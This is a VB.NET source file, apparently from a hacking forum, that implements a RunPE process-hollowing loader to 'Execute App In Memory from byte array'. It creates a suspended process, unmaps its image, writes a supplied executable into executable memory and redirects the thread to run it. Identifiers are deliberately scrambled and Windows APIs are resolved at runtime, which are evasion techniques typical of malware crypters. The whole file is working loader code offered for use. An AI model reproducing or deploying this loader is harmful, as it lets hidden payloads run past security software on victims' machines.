Runbi

''' <summary>
''' ''''''''''''''''''''''''''''''''''''''''''''''''''''
''' Author : hackers dz
''' Website : DEV-POINT
''' Purpose : Execute App In Memory from byte array
'''  Call: DIM DZ As New hackersdz : DZ.hacker(byte,Process.GetCurrentProcess.MainModule.FileName)
''' Date : 6/1/2013
''' ''''''''''''''''''''''''''''''''''''''''''''''''''''
''' </summary>

Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Diagnostics

Public Class hackersdz

    Public Declare Function mFIGqQ Lib "kernel32" Alias "LoadLibraryA" (ByVal BMtI As String) As IntPtr

    Public Declare Function itDPfT Lib "kernel32" Alias "GetProcAddress" (ByVal eXIC As IntPtr, ByVal BMtI As String) As IntPtr

    Function KnmkRSRLNWkdEcm(Of T)(ByVal BMtI As String, ByVal hpMK As String) As T

        Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(itDPfT(mFIGqQ(BMtI), hpMK), GetType(T)), Object), T)

    End Function

    Delegate Function WiSwJf(ByVal dqWV As IntPtr, ByVal zDeWgCKI As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean

    Delegate Function UNwSNh(ByVal Zqgh As IntPtr, ByVal HDTK As IntPtr) As UInteger

    Delegate Function JuuMGs(ByVal Zqgh As IntPtr, ByVal HDTK As IntPtr, ByRef bufr As IntPtr, ByVal bufrHUZSQuFSx As Integer, ByRef tNNg As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean

    Delegate Function WnRMDf(ByVal dqWVead As IntPtr, ByVal kPhE As IntPtr) As UInteger

    Delegate Function bhHkpb(ByVal dqWV As IntPtr, ByVal zDeWgCKI As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean

    Delegate Function pSOxAM(ByVal Zqgh As IntPtr, ByVal CWsp As IntPtr, ByVal HUZSQuFSx As IntPtr, ByVal lkeR As Integer, ByVal xXCB As Integer) As IntPtr

    Delegate Function vEoiBH(ByVal Zqghess As IntPtr, ByVal yQuZLDQVD As IntPtr, ByVal NvtL As Byte(), ByVal nHUZSQuFSx As UInteger, ByVal VvhyogNDB As Integer) As Boolean

    Public Declare Auto Function KheJbr Lib "kernel32" Alias "CreateProcessW" (ByVal tYMN As String, ByVal clyp As StringBuilder, ByVal CWLlcSaw As IntPtr, ByVal pYWY As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal EwNj As Boolean, ByVal kZgk As Integer, ByVal TmSN As IntPtr, ByVal gaqw As String, ByVal vxhH As Byte(), ByVal baI As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean

    Private Function ycBRved(ByVal AqPTBBE As Long, Optional ByVal uQvakhv As Long = &H4) As Integer

        Dim lYXZPRT As IntPtr

        Dim SziQHKc As Integer

        Dim ZGeeD As JuuMGs = KnmkRSRLNWkdEcm(Of JuuMGs)("ntdll", "NtReadVirtualMemory")

        Call ZGeeD(Process.GetCurrentProcess.Handle, AqPTBBE, lYXZPRT, uQvakhv, SziQHKc)

        Return lYXZPRT

    End Function

    Public Function hacker(ByVal NHzDRpcD As Byte(), ByVal HPaBXvVT As String) As Boolean

        Try

            Dim nDrkyOrwo As GCHandle = GCHandle.Alloc(NHzDRpcD, GCHandleType.Pinned) : Dim hModuleBase As Integer = nDrkyOrwo.AddrOfPinnedObject : nDrkyOrwo.Free()

            Dim CWLlcSaw As IntPtr = IntPtr.Zero

            Dim uWDBaIYWs As IntPtr() = New IntPtr(3) {}

            Dim LVYRsRbyl As Byte() = New Byte(67) {}

            Dim rrjrqKzxb As Integer = BitConverter.ToInt32(NHzDRpcD, 60)

            Dim wkREgfzPj As Integer

            Dim zDeWgCKI As UInteger() = New UInteger(178) {}

            zDeWgCKI(0) = &H10002

            KheJbr(Nothing, New StringBuilder(HPaBXvVT), CWLlcSaw, CWLlcSaw, False, 4, CWLlcSaw, Nothing, LVYRsRbyl, uWDBaIYWs)

            Dim clypnbGD As Integer = (hModuleBase + ycBRved(hModuleBase + &H3C))

            wkREgfzPj = ycBRved(clypnbGD + &H34)

            Dim ldWqJ As UNwSNh = KnmkRSRLNWkdEcm(Of UNwSNh)("ntdll", "NtUnmapViewOfSection")

            ldWqJ(uWDBaIYWs(0), wkREgfzPj)

            Dim RGprx As pSOxAM = KnmkRSRLNWkdEcm(Of pSOxAM)("kernel32", "VirtualAllocEx")

            Dim yQuZLDQVD As IntPtr = RGprx(uWDBaIYWs(0), wkREgfzPj, ycBRved(clypnbGD + &H50), &H3000, &H40)

            Dim vDgXFgpcM As New IntPtr(BitConverter.ToInt32(NHzDRpcD, rrjrqKzxb + &H34))

            Dim HUZSQuFSx As New IntPtr(BitConverter.ToInt32(NHzDRpcD, rrjrqKzxb + 80))

            Dim XbKUUFeJV As Integer

            Dim VvhyogNDB As Integer

            Dim api8 As vEoiBH = KnmkRSRLNWkdEcm(Of vEoiBH)("ntdll", "NtWriteVirtualMemory")

            api8(uWDBaIYWs(0), yQuZLDQVD, NHzDRpcD, CUInt(CInt(ycBRved(clypnbGD + &H54))), XbKUUFeJV)

            For i = 0 To ycBRved(clypnbGD + &H6, 2) - 1

                Dim LaXhmRLxJ As Integer() = New Integer(9) {}

                Buffer.BlockCopy(NHzDRpcD, (rrjrqKzxb + &HF8) + (i * 40), LaXhmRLxJ, 0, 40)

                Dim grwEIWglP As Byte() = New Byte((LaXhmRLxJ(4) - 1)) {}

                Buffer.BlockCopy(NHzDRpcD, LaXhmRLxJ(5), grwEIWglP, 0, grwEIWglP.Length)

                HUZSQuFSx = New IntPtr(yQuZLDQVD.ToInt32() + LaXhmRLxJ(3))

                vDgXFgpcM = New IntPtr(grwEIWglP.Length)

                api8(uWDBaIYWs(0), HUZSQuFSx, grwEIWglP, CUInt(vDgXFgpcM), VvhyogNDB)

            Next i

            Dim RuizN As WiSwJf = KnmkRSRLNWkdEcm(Of WiSwJf)("ntdll", "NtGetContextThread")

            RuizN(uWDBaIYWs(1), zDeWgCKI)

            api8(uWDBaIYWs(0), zDeWgCKI(41) + &H8, BitConverter.GetBytes(yQuZLDQVD.ToInt32()), CUInt(&H4), VvhyogNDB)

            zDeWgCKI(&H2C) = wkREgfzPj + ycBRved(clypnbGD + &H28)

            Dim IORqb As bhHkpb = KnmkRSRLNWkdEcm(Of bhHkpb)("ntdll", "NtSetContextThread")

            IORqb(uWDBaIYWs(1), zDeWgCKI)

            Dim wwYwQ As WnRMDf = KnmkRSRLNWkdEcm(Of WnRMDf)("ntdll", "NtResumeThread")

            wwYwQ(uWDBaIYWs(1), 0)

        Catch ex As Exception

            Return False

        End Try

        Return True

    End Function

End Class